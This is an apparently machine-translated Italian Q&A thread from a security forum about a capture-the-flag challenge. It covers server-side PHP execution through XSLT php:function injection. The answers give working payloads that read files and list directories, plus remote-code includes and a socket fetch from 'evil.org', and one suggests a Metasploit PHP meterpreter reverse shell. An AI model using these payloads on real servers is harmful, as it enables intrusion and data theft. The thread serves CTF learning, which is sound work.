Esegue una funzione PHP che restituisce una matrice da un file XSL

8

Esiste una sfida di sicurezza in cui è necessario eseguire codice sul server per recuperare un flag e questo codice deve essere eseguito utilizzando un documento XSL.

Quindi ho trovato un modo per far interpretare al server il mio file XSL, e ho usato la funzionalità php:function per eseguire una funzione php sul server. Ecco un esempio del codice che sto dando al server:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

Questo codice mostrerà il codice sorgente della pagina index.php .

Il prossimo passo è eseguire scandir sul server per elencare la directory corrente (per trovare il flag). Il problema che sto avendo è che la risposta dal server è solo Array , questo è tutto ciò che il server emette.

Dopo aver cercato per quasi 8 ore, sono bloccato e non riesco a trovare alcuna funzionalità XSL che restituisca l'array restituito da scandir .

Note:

  • Le funzioni che consentono l'esecuzione del codice ( eval , exec , passthru , popen , proc_open , shell_exec , system ) sono disabilitate dal server.
  • Sono davvero un principiante (noob completo) nei linguaggi XSL e XML.
posta Sidahmed 05.10.2017 - 17:35
fonte

4 risposte

8

Anche io sono un noob quando si tratta di XSL. Ad essere onesti, non avevo idea che potesse essere così potente ... e pericoloso. Ma comunque avrò uno sparo.

Non so se è possibile ottenere l'output da una funzione che restituisce un array. Forse è possibile nidificare chiamate di funzione in qualche modo? Ma data la mia mancanza di conoscenza su XSL non posso dirti come. Quindi, consente di aggirare l'intero problema, invece. C'è un modo per ottenere l'elenco delle directory senza dover affrontare gli array?

Inserisce il manuale PHP. Le due seguenti funzioni sembrano utili:

resource opendir ( string $path [, resource $context ] )

Opens up a directory handle to be used in subsequent closedir(), readdir(), and rewinddir() calls.

string readdir ([ resource $dir_handle ] )

Returns the name of the next entry in the directory. The entries are returned in the order in which they are stored by the filesystem. [...] If the directory handle is not specified, the last link opened by opendir() is assumed.

Quindi non sarai in grado di ottenere la risorsa da opendir , ma dal momento che readdir accetta gentilmente che desideri leggere dall'ultima risorsa che potrebbe funzionare comunque. Suggerisco un file di attacco con qualcosa di simile a questo:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

Modifica: Apparentemente c'è un undocumentet php:functionString() che "convertirà automaticamente l'output in una stringa", secondo un commento su php.net . Non sono sicuro che sia d'aiuto, ma vale la pena provarlo.

    
risposta data 11.10.2017 - 15:52
fonte
1

xmlns:php="http://php.net/xsl"

Gosh! Non avevo idea che la documentazione fosse così potente!

La risposta "Array" è ciò che ottieni quando esegui un cast implicito di una matrice su una stringa in php. Semplicemente avvolgi la tua chiamata allo scandir in qualcosa che restituirà una migliore rappresentazione della stringa, come suggerisce Conor, per esempio

 implode(',', scandir('/some/where'))

(con riferimento al commento - print [_r] lo invierà allo stdout - ma sembra che l'interfaccia XSL stia leggendo direttamente il valore di ritorno).

Supponendo che l'interfaccia di php: function non lo permetta, allora si potrebbe provare ad usare uno degli oggetti iterator della directory (gli oggetti hanno dei metodi di serializzazione più belli).

Un altro approccio sarebbe semplicemente includere il codice PHP da un sito remoto ....

php:function('include','http://evil.org/interrogator.php')
    
risposta data 06.10.2017 - 14:23
fonte
0

Se hai un'esecuzione arbitraria del codice php sul server attraverso quel xslt, puoi ritagliare il middle man e usare un php meterpreter con reverse TCP Connection in metasploit e avere un meterpreter sulla scatola. Quindi, se il flag non è nel nome del file ma piuttosto nel contenuto di un file, puoi facilmente scaricarlo o catarlo.

Puoi usare generare -t raw in msf con il php meterpreter configurato come modulo e ottenere il codice php per una copia facile della pasta.

    
risposta data 11.10.2017 - 16:24
fonte
0

Note: after having written this answer, I'm starting to doubt if you can pass an anonymous function through the attack vector that is available to you. I'm leaving this answer here so you can try it out, if you feel like it.

Hmm ... dato lo scenario che descrivi, tenterei di sfruttare il potere di call_user_func() , preg_replace_callback() o usort() 1 , in combinazione con un funzione anonima .

Se alcune delle funzioni che accettano una richiamata sono disponibili, puoi accedere a quasi tutto il potenziale di PHP.


Alcuni esempi che utilizzano call_user_func() :

Esempio 1
Chiamando scandir() :

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


Esempio 2
Poiché questa è una cattura dell'impostazione flag, controlla se l' Execution Operator è abilitato ( Ne dubito, ma vale la pena provarlo):

<xsl:value-of select="php:function('call_user_func', function(){
    return 'ls -al';
})"/>


Dato che call_user_func() consente di creare le tue funzioni, fai anche altre cose.

Esempio 3
Controlla la configurazione del server:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


Esempio 4
Apri un socket, fai una richiesta HTTP e includi il risultato come file PHP attraverso il wrapper del flusso di dati , che potrebbe potenzialmente permetterti di aggirare alcune restrizioni di sicurezza:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

Nota: se, nell'esempio di codice sopra, \' non funziona, prova a sostituirlo con &apos; .

Se non puoi include di contenuto remoto, devi fornire tutte le funzionalità richieste come una stringa, che è meno conveniente, ma non necessariamente meno potente.


1 Esistono altre funzioni che accettano una funzione di callback, quindi, se le funzioni menzionate in questa risposta sono bloccate, è una questione di tracce ed errori finché non ne trovi una disponibile.

    
risposta data 16.10.2017 - 20:46
fonte

Leggi altre domande sui tag